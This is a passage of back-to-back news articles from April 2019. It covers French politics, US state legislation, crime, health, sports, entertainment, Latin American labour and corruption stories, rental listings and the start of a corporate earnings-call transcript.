of the school, which he graduated from in 2004. But for many alumni, who hold top positions in French political, diplomatic and business circles, the gesture was a populist move that will do little to address inequalities that start at a much earlier age. "I think ENA is being made the scapegoat of a complicated political and social situation," Daniel Keller, the head of the school's alumni association, told France Info radio. "If you want to fix inequalities in the education system, you won't succeed by tackling only the top of the pyramid." Fleur Pellerin, a former culture minister and Macron's former cabinet colleague, said the move smacked of demagoguery. "The system that existed before the school was created relied on who-you-know and nepotism," she told Reuters. Story continues The growing tendency for Enarques, as the school's graduates are known, to move back and forth between the public and private sectors has deepened the public perception of a distant, back-scratching old boy's network. Four modern-day presidents and seven prime ministers have been Enarques. So too are the chief executives of telecoms group Orange, Societe Generale and the former boss of insurer AXA. Some 15 of Macron's advisers at the Elysee Palace are also alumni. "At least all Enarques are not being dragged out and shot on a street corner. Until then, give me two days to run away!" one presidential advisor who attended the school told Reuters in jest. 'SCHOOL OF CONFORMISM' But with fewer than one in five of those currently at the school having working class parents, ENA critics also said Macron's move was an opportunity to diversify the French establishment and open its ranks to bright students from minorities. "Brilliant kids who live in the suburbs or the countryside are not even aware this education exists, and their parents don't know it either," Florian Philippot, Marine Le Pen's former number two and himself an ENA alumnus said. The fact the school has churned out leaders from all sides of the political spectrum, including the far right, has reinforced the idea for some critics that election results barely seem to matter, since Enarques seem to win every time. Gaspard Gantzer, who graduated the same year as Macron and was former President Francois Hollande's press relation chief, welcomed the move, saying it would help avoid groupthink. "It's a school that trains the elite, but it's also a school of conformism and conservatism," he told BFM TV. When making his announcement, Macron was careful to say ENA's headquarters in Strasbourg and its staff should be kept, in a sign he may probably want to reform the school and give it a new name rather than scrap it entirely. The eye-catching decision is also part of a much wider reform of public administration careers, with an end to jobs-for-life protection for top civil servants. It remains to be seen whether the move will appease yellow vest protesters. The ENA announcement was one of a series of measures Macron announced on Thursday in response to nearly six months of anti-government protests. "Scrapping ENA is all just show," Christophe Chalencon, a high profile yellow vest figure, told Reuters. (Additional reporting by Jean-Baptiste Vey Writing by Michel Rose Editing by Leigh Thomas and Frances Kerry) State lawmakers in Maine approved a bill on Thursday meant to end food shaming students who cannot afford to pay for meals at school. The bill forbids public schools to identify or in any way stigmatize a student who either cannot pay for a school meal or owes money for previous meals. It bans the school officials from refusing to provide meals to students as a form of discipline or forcing pupils to throw away their food or perform chores as punishment for not having enough money to pay for meals. The legislation also says school officials must communicate with a parent or guardian about a students meal debts, rather than directly with a pupil. The bill heads to Gov. Janet Mills (D) for her signature into law. One of the bills co-sponsors, state Rep. Janice Dodge (D), told The Portland Press Herald that some Maine schools, in cases where a student lacked enough money in their lunch accounts, had withheld hot meals, posted public lists of delinquent accounts, stamped students hands or offered lower quality meals, like an apple. State Sen. Marianne Moore (R), who also co-sponsored the bill, told The Associated Press it represented a bipartisan effort to stop schools acting like bill collectors toward hungry children. By Gopal Sharma KATHMANDU (Reuters) - A rescue helicopter plucked a Malaysian climber from Mount Annapurna in west Nepal on Friday, where he was stranded for two days after climbing the worlds tenth highest mountain this week, officials said. Wui Kin Chin, 48, an anesthesiologist, reached the top of the 8,091 metre (26,545 feet) mountain along with 31 other international climbers on Tuesday but then failed to descend to a lower camp. A helicopter pilot spotted him on Thursday waving his hands from an altitude of about 7,500 metres (24,606 feet). Four sherpa rescuers climbed to the site and brought him down to a lower camp from where he was picked up by a longline rescue helicopter. Mingma Sherpa of Seven Summit Treks, that provided local support to the climber, said the distressed mountaineer was flown to a hospital in Kathmandu on Friday. He is conscious but critical, Mingma, who goes by his first name, told Reuters without giving details of how the climber survived on the mountain for two nights before the rescuers reached him. Rescuers said bad weather and getting clearance from an insurance company caused delay in the rescue. Hiking officials say fickle weather and frequent avalanches make Mount Annapurna a dangerous and more difficult to climb mountain than Mount Everest. Dozens of climbers have died on the mountain since it was first summited in 1950. Hundreds of foreign climbers are on different Himalayan peaks in Nepal during the current climbing season which ends in May. Mountain climbing is a key source of employment and income for the cash strapped nation, home to eight of the worlds 14 highest peaks, including Mount Everest. (Reporting by Gopal Sharma; Editing by Martin Howell) CAMDEN, N.J. (AP) A man accused of using a compound bow and arrow to shoot and kill another man has been convicted of aggravated manslaughter. Timothy Canfield was also found guilty Thursday of hindering and a weapons count. The 31-year-old Berlin man now faces up to 55 years in prison when he's sentenced May 16. Camden County prosecutors say Canfield shot Kereti Paulsen in January 2013. They say the 25-year-old Cape May Court House man was walking away from a verbal argument that had involved several people when Canfield shot him. An arrow pierced one of Paulsen's veins and he bled to death. Prosecutors say Canfield made a 911 call after the shooting and pretended to be Paulsen. They also said Canfield provided false information and hid the compound bow and arrows. Canfield said he acted in self-defense. Police at the scene on Frampton Park Road in Hackney, London after a double stabbing (PA) A man has died and another left injured following a double stabbing in north east London on Friday afternoon. Police swooped in on Frampton Park Road at around 2.45pm after receiving reports of a man having been stabbed, Scotland Yard said they have opened a murder investigation and one man has been arrested while enquiries continue. The 29-year-old victim was taken to an east London hospital but later died of his injuries. One man died from his injuries while another man is in a critical condition (PA) The Met Police have said his next of kin have been informed. Police then received a second report shortly after of another stabbing in Wilton Way. A Met Police spokesman said: He has been taken to an east London hospital where he remains in a stable condition Witness Dean Saliba, 40, told the Evening Standard said he saw the attack on Frampton Park Road when he visited a shop. Read more Thousands of weapons surrendered to police across the UK as knife crackdown continues Knife assault data could help police prevent next years murders study Anti-knife crime campaigner: '70% of people who give me knives are white' He said: I turned up after. Someone in the shop said he was stabbed in the back as he ran to escape. He was having a seizure when I arrived and there was a lot of blood. A spokewoman for London Ambulance Service said of the first incident: We treated a person at the scene and took them to hospital as a priority.; She said another call was received relating to the Wilton Way incident four minutes later. She said: We sent a medic in a car, an incident response officer and an ambulance crew to the scene. Crime scenes remain in place at both locations. New York (AFP) - A drawing by late South African leader Nelson Mandela of the door of his prison cell on Robben Island -- where he was held for 18 years -- will be put up for auction in early May in New York. Bonhams, which will host the sale on May 2, has put the value of "The Cell Door, Robben Island" -- completed in 2002 by the Nobel peace laureate -- at $60,000 to $90,000. The work will be part of a sale of modern and contemporary African art. "The word 'iconic' is so overused but to have a drawing of one of the most important men of the 20th century... would be a remarkable thing," Giles Peppiatt, the auction house's director of modern African art, told AFP. "It's the first time this work has ever been exhibited in public. It's also the first work by Nelson Mandela ever to be sold in the open market." The wax pastel crayon drawing shows a few bars of the cell door and a key in the lock, sketched in purple. The work is one of the few that Mandela -- who was jailed for 27 years in total and inspired the struggle against apartheid -- kept until his death in 2013. "It was a very personal, very poignant work for him," Peppiatt said, explaining that Mandela embraced art as a hobby after leaving South Africa's presidency in 1999. "He had more time on his hands," he said. Until now, Mandela's daughter Pumla Makaziwe Mandela had the work in her possession. South Africa's first black president did a total of 20 to 25 drawings, according to Peppiatt. Some were reproduced as lithographs to raise money for the Nelson Mandela Foundation. Mandela was jailed from 1962 to 1990. He was held at Robben Island off Cape Town from 1964 to 1982. Mandela served as South African president from 1994 to 1999. Warning: This post contains spoilers for Avengers: Endgame. When Natalie Portman showed up on the red carpet for Avengers: Endgame, fans lost their minds. The actor, who played Jane Foster in the first two Thor films, hadnt been seen onscreen in a Marvel film since 2013. Avengers: Endgame is the culmination of 11 years and 22 movies. Its probably the last time fans will see certain superheroes, which makes the film especially poignant. But its also a homecoming of sorts, where eagle-eyed fans have spotted a number of characters from past films. Some are of great consequence, instrumental to the plot and the franchises ultimate endgame. Others are more fun, serving as Easter Eggs. And others are simply the late, great Stan Lee. Here are a few of the familiar faces you may have forgotten. Korg Last seen in: Thor: Ragnarok Fan-favorite rock being Korg (Taika Waititi) seems to have survived Thanos onslaught. When Hulk and Rocket set out on a mission to find Thor in New Asgaard, they find the God of Thunder playing video games with sweet-hearted Korg. The Ancient One Last seen in: Doctor Strange When the Avengers arrive in New York in 2012 to retrieve several Infinity Stones, they find that Doctor Strange has not yet become a master of magic. Instead, the Ancient One (Tilda Swinton) holds and protects the Time Stone. Hulk has to negotiate with her in order to get it. READ MORE: How to Stream Every Single Marvel Movie Alexander Pierce Robert Redford in Captain America: The Winter Soldier | Marvel Last seen in: Captain America: The Winter Soldier During the Avengers trip back to New York in 2012 to recover several Infinity Stones, they encounter then-head of S.H.I.E.L.D. Alexander Pierce (Robert Redford), who made his first and only previous appearance in Captain America: The Winter Soldier. In that movie, hes revealed to be an undercover HYDRA agent who has infiltrated S.H.I.E.L.D. Jasper Sitwell Last seen in: Thor, Avengers, Captain America: The Winter Soldier Story continues This high-ranking field agent, played by Maximiliano Hernandez is in New Mexico when Thor arrives. Hes present when the Avengers first meet and also turns out to be a HYDRA agent. Crossbones Last seen in: Captain America: The Winter Soldier, Captain America: Civil War Brock Rumlow turns out to be another HYDRA agent. After Captain America fights him in Winter Soldier, he reappears in Captain America: Civil War as the villain Crossbones (Frank Grillo). He tries to kill Captain America with an explosion, but Scarlet Witch saves Cap while accidentally killing innocent Wakandan civilians in the process. Jane Foster Last seen in: Thor and Thor: The Dark World Thor and Rocket have to travel back to Asgard in order to retrieve the Aether from his old flame Jane Foster (Natalie Portman). Red Skull Red Skull in Captain America: The First Avenger | Marvel Studios Last seen in Captain America: The First Avenger (Hugo Weaving), Avengers: Infinity War (Ross Marquand) The leader of the Nazi offshoot HYDRA in World War II was banished to Vormir to guard the Soul Stone after he tried to handle an Infinity Stone himself. He was the one who advised Thanos he had to sacrifice something he loved in order to gain the stone in Infinity War and offers the same service to Black Widow and Hawkeye in Endgame. READ MORE: We Ranked Every Single Marvel Cinematic Universe Movie Peggy Carter Atwell as Peggy Carter in Agent Carter. | Kelsey McNeal/ABC Last seen in: Captain America: The First Avenger, Captain America: The Winter Soldier When he and Iron Man travel back to an army base in 1970 to steal the Space Stone, Captain America finds the office of his one true love Peggy Carter (Hayley Atwell). The two have been separated by time ever since Captain America froze at the end of The First Avenger. Howard Stark Last seen in: Iron Man 2, Captain America: Civil War, Ant-Man, Dominic Cooper in Captain America: The First Avenger Tony has had a tumultuous relationship with his fathers legacy ever since he found out that his father, played by John Slattery, worked for S.H.I.E.L.D. He also made Captain America his shield and was killed by Captain Americas best friend Bucky. Here, when he travels back to 1970 to steal the Space Stone from his father, Tony finds some closure. Harley Keener Last seen in: Iron Man 3 Remember back in Iron Man 3 when Tony breaks into a familys garage to fix his armor after a fight? A little boy named Harley (Ty Simpkins) finds him there and they become friends. Harley, now grown into a teen, was kind enough to show up to Tony Starks funeral. Stan Lee Last seen in: every Marvel Cinematic Universe film Stan Lee, the comic book creator of so many Marvel heroes that have made their way onscreen, made a cameo in every single one of the Marvel movies before he passed away. In this movie he made his last cameo performance. He plays a man in a car in the 1970s who jeers at soldiers. Just 1% of British Christians think God is female (Picture: Getty) Ariana Grandes song God is a Woman might have been a hit, but not many people actually think that God might be female. According to a YouGov survey last year, just 1% of people believe God is female, while just over a third (36%) think God is a man. Four in ten (41%) think God doesnt have a human gender at all, the poll found, while 3% believe that God has a different human gender identity to male/female, and the remaining 19% say they dont know. Slightly ironically, female Christians are more likely to believe God is male than Christian men are, with 41% of female Christians saying God is female compared to 30% of male Christians. The issue is up for discussion on Yahoo UKs podcast Britain Is a Nation Of., which focuses on religion. Listen to a discussion of these statistics on Yahoo and YouGovs podcast, Britain is a Nation of Asked why so many people think God is a man, Christian priest Kate Bottley told the podcast the main reason is because men were behind writing the scriptures that have formed the framework for Christianity. Its blokes that wrote the scriptures, they were the ones that were educated, she said. Its because thats who commanded it, thats who ruled it. Another reason is that language lets us down, she said, because its not possible to say it to convey a gender-neutral god. Ariana Grandes God is a woman was a hit, but not many people believe it, YouGov found (Picture: Getty) Asked what the cause of that male-ification of God is, she said a focus on men in the bible had had a serious impact, from suggestions that women could be saved through marriage to men or women could not be permitted to speak in church. It has led to 2,000 years of the oppression of women and feminist theology comes from two perspectives one is scripture is irredeemable, Christianity is irredeemable in terms of a feminist narrative, we need to chuck it out. You cant possibly be a Christian and a feminist. Or the perspective that its all redeemable but we just need to search a little bit harder to find the stories of women. Story continues We just need to be even more vocal, we just need to shout a little bit louder. And were getting there but its a work in progress and It can be very disheartening at times to be a woman of faith. This survey was made possible by YouGovs panel of 6 million respondents. Join the trend and share your opinions with the world today. WMAR-2 News' Investigative Reporter Brian Kuebler spoke to Mayor Catherine Pugh's attorney in a live interview moments as he left Pugh's Ashburton home. After spending about an hour and a half talking to Pugh about her options after FBI agents raided her homes, her attorney Steve Silverman shared details about her health and her future as mayor. Silverman said Pugh is in poor physical health. "She just needs to be physically and mentally sound and lucid enough to make appropriate decisions," said Silverman. "She is not fit to make decisions today, she is under doctors care she had a severe case of pneumonia which culminated into a severe case of bronchitis and she is under a tremendous amount of stress which is added to her physical ailments." Silverman says Pugh's health has also affected her decision making and that's the reason she is still on a leave of absence. He said Pugh planned to see her doctor on Friday. "She doesn't have the energy to focus for a period of time in order to make important decisions," said Silverman. When asked if she would make a decision to resign, Silverman clarified that she is not in a good place physically and mentally to make any decisions today, but is leaning towards making the best decision for the citizens of Baltimore. "She understands all of the options and she is going to make the best decision in the best interest of the City of Baltimore." Thursday FBI agents not only raided Pugh's home, but they were also seen walking out with boxes of documents from her office in City Hall and The Maryland Center for Adult Training, a nonprofit she once ran. Silverman said he has no concerns that anything the agents collected from Pugh's home would be incriminating. But as far as the documents that were collected in her office and the nonprofit, Silverman says they were just normal business records and to his knowledge nothing is incriminating. April 26, 2019 Amid a nationwide measles outbreak, two California colleges are telling hundreds of students and employees to stay home for fear theyve been exposed and can spread the highly contagious virus. The University of California Los Angeles (UCLA) and California State University Los Angeles (Cal State LA) implemented a quarantine Thursday after an infected person was confirmed to have been on each school's campus earlier in April. At UCLA, a student with measles attended class for three days, and someone infected went to a library at Cal State LA, according to CBS News. In this situation, for those exposed to a confirmed case of measles who could not provide evidence of two doses of measles immunizations or lab verified immunity to measles, a Health Officer Order for quarantine is being issued, the Los Angeles County Department of Public Health, which is working closely with the two schools, said in a statement. These people are being asked to stay home, contact Public Health if they develop symptoms, and avoid contact with others for 21 days after their exposure. After that period, they will no longer be at risk for contracting or spreading measles. The quarantine will be lifted immediately for anyone who shows documentation proving theyd been vaccinated or immune. The statement also explained, Schools are considered high-risk settings for exposure due to potentially frequent and prolonged contact. The quarantine comes after measles cases hit a record high in the United States this year, decades after it was considered eliminated in the nation in 2000. As of April 24, the Centers for Disease Control and Prevention reported 695 confirmed cases in 22 states, due to unvaccinated travelers contracting the disease abroad and then returning home. Measles, which can spread though coughing and sneezing, is so contagious that about 90 percent of non-immune individuals will become infected after close contact with someone who has it. Measles can also live in the air for up to two hours. Symptoms include fever, cough, runny nose, watery eyes, and a red rash that spreads throughout the body. Experts stress the importance of children getting two doses of the measles, mumps, and rubella (MMR) vaccine, which is 97 percent effective against measles. This current outbreak is deeply troubling and I call upon all healthcare providers to assure patients about the efficacy and safety of the measles vaccine, CDC Director Robert Redfield said in a statement. And, I encourage all Americans to adhere to CDC vaccine guidelines in order to protect themselves, their families, and their communities from measles and other vaccine-preventable diseases. We must work together as a Nation to eliminate this disease once and for all. As the birth of Prince Harry and Meghan Markle's first child approaches, broadcasters are already busy making preparations. A documentary charting the couple's relationship and the royal bundle of joy's imminent arrival is set to screen in spring 2019 on Lifetime. The royal baby may not yet have been born, but he or she is already set to be a star of the small screen. Prince Harry and Meghan Markle's first child, due shortly, will be the focus of a documentary set to air this spring on Lifetime, according to US media reports. The documentary, titled "Meghan & Harry: Baby Fever," is slated to screen in spring 2019 in the US, although the exact air date is yet to be announced. It will screen in Australia on Nine Network and in the Netherlands on RTL. The documentary will feature exclusive interviews with royal-watchers and experts, along with archive footage. It will chart the royal couple's relationship, as well as preparations for baby Sussex's eagerly-anticipated arrival. "Meghan & Harry: Baby Fever" is made by London-based ITN Productions, which has already produced several documentaries on the British royal family, including "Inside the Royal Wedding: Harry and Meghan" for NBC and "The Queen's Green Planet" for ITV in 2018. The New York Mets activated ace right-hander Jacob deGrom to start Friday night's game against the victory Milwaukee Brewers. The reigning National League Cy Young Award winner went on the injured list after experiencing elbow pain last week. An MRI exam displayed no problems and deGrom had no issues in throwing sessions. The Mets optioned right-hander Jacob Rhame to Triple-A Syracuse to open up a roster spot. Rhame was given a two-game suspension on Thursday for throwing two pitchers over the head of Philadelphia Phillies first baseman Rhys Hoskins on Tuesday. Rhame will appeal the suspension, New York manager Mickey Callaway told reporters. Rhame has an 8.10 ERA in three appearances with the Mets this season. Meanwhile, deGrom (2-2) was roughed up badly in each of his past two starts to see his ERA soar to 3.68. After allowing no runs and eight hits over 13 innings while winning his first two starts, deGrom allowed nine runs and 13 hits in nine innings over the past two. Most alarming was that he served up five total homers in the two setbacks. The 30-year-old recently signed a five-year, $137.5 million extension. DeGrom posted a spectacular 1.70 ERA and struck out 269 in 32 starts last season while winning the Cy Young Award despite having a 10-9 record. New York also recalled right-hander Corey Oswalt from Syracuse and optioned infielder Luis Guillorme to the same affiliate. Oswalt gave up five runs in 3 2/3 innings in his one appearance with the Mets this season, while Guillorme was 3-for-18 in 11 games with New York. --Field Level Media MEXICO CITY (AP) Mexico's comptroller has banned federal agencies from contracting with Brazilian construction giant Odebrecht and its Mexican subsidiary for three years. In a statement Friday, the comptroller's office said the subsidiary was sanctioned for presenting false information in modifying a contract. Odebrecht was sanctioned for excessive charges to Pemex's refining arm. The company has admitted to paying $800 million in bribes throughout the region. In a 2016 agreement that Odebrecht and Braskem, a petrochemical subsidiary, reached with justice officials in three countries, Odebrecht said it paid $10.5 million in bribes to officials at Mexico's state-run oil company, Pemex. No one has been prosecuted in Mexico for those payments. About a dozen other Latin American countries have used evidence from Brazilian prosecutors to pursue their own officials. Mexico and Venezuela are exceptions. By Christine Murray MONTERREY, Mexico, April 26 (Thomson Reuters Foundation) - M exico's government is planning to introduce a specific minimum wage for its 2 million domestic workers in a drive to boost their labor rights after years of neglect, a official said. Activists, academics, and government officials met this week to discuss fixing a unique minimum wage for the workers in a country where the general baseline is 103 pesos ($5.45) per day. While Mexico has dozens of different minimum wages for various kinds of jobs - from plumbers to truck drivers - the vast majority of domestic workers do not even have contracts and are at risk of exploitation, campaigners and officials say. "It's a group where most workers are women ... they're discriminated against, the vast majority don't have a written contract, only 3 percent have social security," said Andres Penaloza, head of the National Minimum Wage Commission CONASAMI. "In summary, the situation they've had is a drama," he told the Thomson Reuters Foundation by phone, adding that the country owed a "historic social debt to a pretty vulnerable group." The Senate this week approved a change to labor law adding protections for domestic workers, including banning the hiring of people younger than 15 and mandating a written contract. Mexico's Supreme Court ruled last year that the country's 2.3 million domestic workers - mostly women - had a right to social security coverage, and nearly 2,000 have signed up to an ongoing pilot scheme, said the Social Security Institute IMSS. Penaloza said that CONASAMI, which organized the event on Thursday, was mulling four different minimum wages for domestic workers - ranging from 103 pesos to more than 300 pesos per day. In May, the commission will present the results of its studies to the all-male board, made up of 22 business and workers representatives, which will make the final decision. Story continues "The proposal ... is an act of justice, and a detonator of cultural change that we should be carrying out in this new era," said Nadine Gasman, head of the National Women's Institute INMUJERES. Setting a baseline for domestic workers above the general minimum wage could lead to higher social security contributions to cover the cost of healthcare, said David Kaplan, senior labor market specialist at the Inter-American Development Bank (IADB). Yet setting the wage too high could have adverse effects, according to both the Mexico City-based economist and Penaloza. "If the minimum wage for domestic workers is unrealistically high, then there's only two possibilities; people don't hire domestic workers anymore or they continue to hire them and they just keep them informal," Kaplan said. Oscar-nominated Mexican actress Yalitza Aparicio helped advance the debate after she starred in the award-winning 2018 Netflix film Roma as Cleo, a young indigenous domestic worker living with an middle-class family in Mexico City. "I'm happy that the film managed to open lots of people's eyes," Aparicio told EFE news agency in March. "There are lots of professionals who do important things, but behind them there are people who run their homes, look after children and its right to recognize that work." (Reporting by Christine Murray, Editing by Kieran Guilbert. Please credit the Thomson Reuters Foundation, the charitable arm of Thomson Reuters, that covers humanitarian news, women's and LGBT+ rights, human trafficking, property rights, and climate change. Visit http://news.trust.org) Tripoli (AFP) - Migrants and refugees have been shot and wounded in a detention centre south of Tripoli as Libyan fighters battle for control of the capital, Doctors Without Borders (MSF) said Friday. Clashes between Libya's Tripoli-based unity government forces and fighters of military commander Khalifa Haftar have raged since April 4, when the strongman launched an assault to seize the capital. The UN and international NGOs have warned that thousands of migrants and refugees who fled violence at home and are now trapped in Libyan detention centres are facing enormous dangers and must be evacuated. On Wednesday the UN refugee agency UNHCR said it had evacuated 325 asylum seekers from the Qasr Bin Ghashir detention centre a day after an attack against refugees and migrants. It was not clear who carried out the assault. "While there were no bullet wounds, 12 refugees endured physical attacks that required hospital treatment," a statement said. But on Friday MSF said "an analysis of existing photographic and video evidence by MSF medical doctors concluded that injuries shown are consistent with gunshot wounds". "These observations are further supported by numerous accounts from refugees and migrants who witnessed the event and reported on being brutally and indiscriminately attacked with the use of fire arms," it said. MSF published video footage showing several people bleeding from what appeared to be bullet holes in limbs and other parts of their bodies. "To say we were outraged is an understatement," MSF head of emergency programmes Karline Kleijer was quoted as saying in the statement. "Mere condemnation of the violence against migrants and refugees is meaningless unless immediate action is taken by the international community to evacuate the remaining thousands." MSF said that over 700 unarmed men, women and children were trapped in the Qasr Bin Ghashir detention centre. Story continues The watchdog said residents of the centre have been moved to another detention camp west of Tripoli on Wednesday and Thursday. "While they are no longer in the direct vicinity of fighting, people are still subjected to dangerous and degrading conditions and rapidly changing conflict dynamics that continue to pose a threat to all those locked up in detention centres in and around Tripoli," it warned. Human Rights Watch has also sounded the alarm. It quoted two migrants from a detention centre in an eastern suburb of Tripoli and a third one who was detained in the centre of the capital as saying armed men have forced them to work for them. In one instance two detainees said they were ordered to repair military vehicles and "to load, unload, and clean weapons", including machine guns, HRW said. Libya, long a major transit route for migrants desperate to reach Europe, is home to around 6,000 migrants who are held in official detention centres, according to the International Organization for Migration. Hundreds more are held by armed groups elsewhere in the war-hit country. A 53-year-old North Carolina woman and her teenage daughter discovered vomit in their seating area on a recent Frontier Airlines flight, and the mother was later reportedly arrested after she "became disruptive" and refused to deplane and get on another flight. Rosetta Swinney, of Durham, North Carolina, told WTVD that the flight was delayed so the plane could be cleaned, and that she was shocked to see the mess. "(My daughter) jumped up to say mom! My hands are wet," Swinney told the outlet. "She smelled it. She says 'this is vomit, mom.' So we went to look. It was on the bag, all over her shirt, her hands," Swinney said. The pair were flying from McCarran International Airport in Las Vegas to Raleigh-Durham International Airport in North Carolina last week. They told flight attendants about the vomit. "The flight attendants apologized and immediately invited the mother and her teenage daughter to move to either end of the plane so that the seat area could be cleaned by a cleaning crew," Frontier said in a statement. "The mother and daughter were also told that once boarding was complete they would be provided other seats if available. The daughter was also offered cleaning products for herself and invited to use the lavatory to wash up." Swinney contends the flight attendant in question didn't try to clean up the mess or reassign their seats. Other passengers recounted the incident on Facebook. "Keep in mind there is an entire row (3) of empty seats in front of us. The attendant could have simply switched their seats and asked someone to come cleanup the vomit," a passenger wrote. A Frontier Airlines Airbus A321 taxis to Gate D4 at Portland International Airport in December 2018. "#FrontierAirlines is DEAD WRONG FOR THIS! Never again!!" the post, which also includes videos, reads. "The mother was unsatisfied with the response and became disruptive," Frontier's statement continued. "As a result, the flight attendants determined that the mother and daughter should be deplaned and accommodated on another flight. The mother refused, and following procedure, law enforcement was called. Law enforcement then requested that everyone deplane so that the mother and daughter could be removed allowing the aircraft to be re-boarded and depart." Story continues "I felt humiliated," Swinney, who is due to appear in a Las Vegas courtroom in June, told WTDV. "I felt more bad that my child had to see me be handcuffed and taken away from her." "We apologized to our passengers for the inconvenience caused by the departure delay," Frontier added. "The safety of passengers and crew is our top priority at Frontier." This article originally appeared on USA TODAY: Mom discovers vomit on daughter's Frontier Airlines seat, gets into altercation with flight attendant Roy Maffly, MD, former associate dean for student affairs at the Stanford University School of Medicine and a champion for recruiting underrepresented minorities to the school, died April 15 at his home in Palo Alto after a brief illness. He was 91. Maffly was remembered most for his teaching and mentoring of medical students and residents. In 1982, he was the first instructor at the School of Medicine to receive the Walter J. Gores Award, the universitys highest honor for excellence in teaching. He was a sensational dean and teacher to all the medical students, said Judith Nevitt, MD, a former student and now an adjunct associate professor in ophthalmology. You always knew you could go to Dr. Maffly with a question or a thought. He was always kind and compassionate, always free with his time. Maffly helped establish a minority admissions committee, which he chaired from 1973 to 1977 and which is credited with diversifying the schools enrollment. He also proposed that the school allow flexible work schedules to accommodate students with children. Not only was Roy Maffly valued and respected as a teacher and mentor, he was a much-needed proponent for equality, said Lloyd Minor, MD, dean of the School of Medicine. In the 1970s, Roy was instrumental in increasing admission of underrepresented minorities at the School of Medicine understanding that better representation in medicine would help reduce disparities in health care. Berkeley native Maffly was born Nov. 26, 1927, in Berkeley, California, to a family with a long history in health care. His great-grandfather, Leroy Francis Herrick, also a physician, founded the former Herrick Memorial Hospital in Berkeley. Maffly earned a bachelors degree at UC-Berkeley in 1949 and a medical degree from UC-San Francisco in 1952. He met his future wife, Marilyn Miles, when she was a nursing student at UCSF, and the couple married in 1952. He completed residencies at UCSF and at Herrick Hospital, where he was chief resident. He then served in the U.S. Naval Reserve Medical Corps from 1955 to 1957. He also served in the U.S. Army in 1946, when he was drafted into active duty as an undergraduate. He completed two research fellowships, one at Massachusetts General Hospital and another at UCSF. His research, which involved toad bladders and the passage of sodium and potassium through cell walls, informed the treatment of heart and kidney diseases. Maffly joined the Stanford faculty in 1961 as an assistant professor of medicine in endocrinology and metabolism. He was made a full professor in 1970 and became associate dean for student affairs in 1983. He retired in 1992. He was very committed to social issues, said his daughter Laurie Maffly-Kipp of St. Louis, Missouri. He was influenced by the civil rights movement, and proud of his work on the minority commission. He tried to make underrepresented students feel more at home. In addition to the Gores award, Maffly won the schools Award for Outstanding Teaching in 1971; the Kaiser Award for Excellence in Teaching in 1970, 1972 and 1977; and the Arthur L. Bloomfield Award for Excellence in the Teaching of Clinical Medicine in 1977. Rex Jamison, MD, professor emeritus of medicine, was a medical student when he first met Maffly and the two were working in a laboratory at Massachusetts General. At Stanford in 1971, the two co-founded the Division of Nephrology. At the time, nephrology was an emerging specialty. Students just flocked to him, Jamison said. He was very kind, a truly remarkable human being. I dont think he and I ever had an argument about anything. After his retirement, Maffly studied history and music, a lifelong love, at Foothill College. Maffly-Kipp said he played many instruments: He was always curious and loved to learn things, she said. The family is planning a memorial service. In addition to Maffly-Kipp, he is survived by his wife, Marilyn Maffly; daughter Nancy Maffly of Davis, California; son-in-law Peter Maffly-Kipp; and grandsons Wesley, Joseph and David Maffly-Kipp. His son, Robert Maffly, died in 1983. 5406 Connecticut Ave. NW, #508. | Photos: Zumper Apartment hunting on a budget can be . So what does the low-end pricing on a rental in Chevy Chase look like these days and what might you get for your money? Per Walk Score ratings, the neighborhood is very walkable, is relatively bikeable and offers many nearby public transportation options. It also features median rents for a one bedroom that hover around $1,775, compared to a $2,000 one-bedroom median for Washington as a whole. A look at local listings for studios and one-bedroom apartments in Chevy Chase, via rental site Zumper, offers an overview of what price-conscious apartment seekers can expect to find in this Washington neighborhood. Take a look at the cheapest listings available right now, below. (Note: prices and availability are subject to change.) Hoodline offers data-driven analysis of local happenings and trends across cities. Links included in this article may earn Hoodline a commission on clicks and transactions. 5406 Connecticut Ave. NW, #508 Listed at $1,330/month, this 492-square-foot studio dwelling, located at 5406 Connecticut Ave. NW, #508, is 8.8 percent less than the $1,459/month median rent for a studio in Chevy Chase. In the unit, you'll find air conditioning. Cats and dogs are not permitted. There isn't a leasing fee associated with this rental. (See the complete listing here.) 4850 Connecticut Ave. NW Next, this studio, situated at 4850 Connecticut Ave. NW, is listed for $1,433/month for its 450 square feet of space. In the unit, anticipate air conditioning, a mix of hardwood floors and carpeting and a balcony. The building features a swimming pool, a fitness center and on-site laundry. Pet lovers are in luck: cats and dogs are permitted. Future tenants needn't worry about a leasing fee. (See the complete listing here.) 4600 Connecticut Ave. NW, #228 Here's a one-bedroom, one-bathroom apartment at 4600 Connecticut Ave. NW, #228, which is going for $1,525/month. When it comes to building amenities, expect a roof deck, a fitness center and on-site laundry. In the unit, you'll find air conditioning, hardwood flooring and a dishwasher. Neither cats nor dogs are welcome. Story continues (See the full listing here.) 5315 Connecticut Ave. NW, #607 Then there's this 777-square-foot condo with one bedroom and one bathroom at 5315 Connecticut Ave. NW, #607, listed at $1,700/month. In the unit, anticipate air conditioning and hardwood flooring. Neither cats nor dogs are welcome. The building offers garage parking. There isn't a leasing fee associated with this rental. (See the listing here.) 4105 Wisconsin Ave. NW Finally, check out this 700-square-foot one-bedroom, one-bathroom at 4105 Wisconsin Ave. NW, listed at $1,725/month. Building amenities include an elevator and on-site laundry. In the unit, look for high ceilings, central heating and hardwood flooring. Neither cats nor dogs are permitted. There's no leasing fee required for this rental. (Here's the listing.) This story was created automatically using local real estate data, then reviewed by an editor. Click here for more about what we're doing. Got thoughts? Go here to share your feedback. Logo of jester cap with thought bubble with words 'Fool Transcripts' below it Image source: The Motley Fool. MSA Safety (NYSE: MSA) Q1 2019 Earnings Call April 25, 2019 8:30 a.m. ET Contents: Prepared Remarks Questions and Answers Call Participants Prepared Remarks: Operator Good day, ladies and gentlemen, and welcome to the 2019 first quarter earnings webinar. We do apologize for this delay. [Operator instructions] And it is now my pleasure to introduce today's host, Elyse Lorenzato, director of investor relations. Please begin. Elyse Lorenzato -- Director of Investor Relations Thank you, Kelly. Once again, our apologies for the delay. We had some technical difficulties here this morning, but we appreciate you sticking with us. Thanks for your patience. Welcome to MSA's first-quarter earnings call for 2019. With me here today are Nish Vartanian, president and CEO; and Ken Krause, senior vice president, CFO, and treasurer. Our first-quarter press release was issued this morning and is available on the MSA website at www.msasafety.com. Before we begin, I'd like to remind everyone that the matters discussed on this call, excluding historical information, are forward-looking statements within the meaning of the Private Securities Litigation Reform Act of 1995. More From The Motley Fool Forward-looking statements include, but are not limited to, all projections and anticipated levels of future performance. Forward-looking statements involve risks, uncertainties and other factors that may cause our actual results to differ materially from those discussed here. These risks, uncertainties and other factors are detailed in our filings with the SEC, including our most recent Form 